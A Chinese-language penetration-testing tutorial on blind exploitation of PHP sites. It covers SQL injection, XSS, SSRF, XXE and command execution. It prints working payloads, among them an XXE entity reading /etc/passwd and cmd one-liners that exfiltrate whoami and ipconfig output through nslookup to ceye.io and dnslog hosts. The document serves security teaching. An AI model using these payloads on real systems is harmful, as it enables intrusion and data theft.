PHP无回显渗透测试总结
字数 935 2025-08-05 00:15:08
PHP无回显渗透测试技术总结
0x01 前言
在渗透测试过程中,开发不可能每一次都将结果输出到页面上,也就是漏洞无回显的情况。这种情况下,我们可以通过DNSLOG判断漏洞存在,或者通过搭建Python HTTP服务来验证,方法多样。
0x02 无回显概念
无回显即执行的payload在站点没有输出,无法进行进一步操作。在渗透测试中,漏洞点不可能总是能够在返回页面进行输出,这时就需要进行无回显利用。
0x03 不同漏洞的无回显技术
1. SQL注入无回显
1.1 布尔盲注
布尔盲注是盲注的一种,当网站通过查询语句的布尔值返回真假来输出页面信息时使用:
- 构造等号判断获取字符的ASCII码
- 通过length()函数判断数据库库名长度
- 使用ascii()和substr()函数获取字符ASCII码
- 示例:
?id=1' and length(database())>1 %23 ?id=1' and ascii(substr((select database()),1,1))>97 %23 ?id=1' and ascii(substr((select database()),1,1))=115 %23
1.2 延时盲注
当布尔盲注无效时使用延时盲注:
- 使用if()函数配合sleep()判断
- 示例:
?id=2' and if((length(database())=8),sleep(5),1) %23 ?id=2' and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23
巧用DNSLOG进行SQL注入
- DNSLOG原理:DNS服务器会记录所有访问记录
- load_file()函数:读取文件内容为字符串,需要FILE权限
- UNC路径:格式为
\\服务器名\服务器资源 - 示例:
?id=1' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn/abc')) %23
2. XSS无回显
2.1 XSS盲打
- 在表单提交处输入XSS payload
- 管理员查看后台时触发
- 使用XSS平台payload等待上钩
2.2 通过DNSLOG判断
3. SSRF无回显
- 通过DNSLOG验证:
http://172.16.29.2/ssrf_test.php?url=http://ssrf.02c6ot.dnslog.cn - 通过Python HTTP服务验证:
然后访问:python3 -m http.server 4545http://172.16.29.2/ssrf_test.php?url=http://172.16.29.1:4545
4. XXE无回显
- 使用外带数据技术
- 文件结构:
- 1.xml:请求攻击者VPS上的XML文件
- 2.php:保存GET参数数据
- 3.txt:存储结果
- 示例payload:
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % remote SYSTEM"http://服务器IP地址/xxe/1.xml"> %remote; %send; ]>
5. 命令执行无回显
5.1 DNSLOG判断漏洞存在
http://127.0.0.1/test_blind/exec.php?cmd=ping+lhg3du.dnslog.cn
5.2 DNSLOG外带数据
获取Windows用户名:
http://127.0.0.1/test_blind/exec.php?cmd=ping+%USERNAME%.io5a5i.dnslog.cn
其他命令执行:
cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.ceye.io)&del temp
cmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.xxxx.ceye.io & cmd /c nslookup %_:~40,-1%.xxxx.ceye.io)&del temp
POST传参:
- 对内容进行URL编码
- 通过DNSLOG获取结果
- Base64解码获取内容
总结
- 无回显情况常见,需要外带数据获取内容
- 首选方法是反弹shell获取交互式会话
- 不同漏洞类型需要采用不同的无回显技术
- DNSLOG是验证无回显漏洞的有效工具
- 实际渗透中应灵活组合多种技术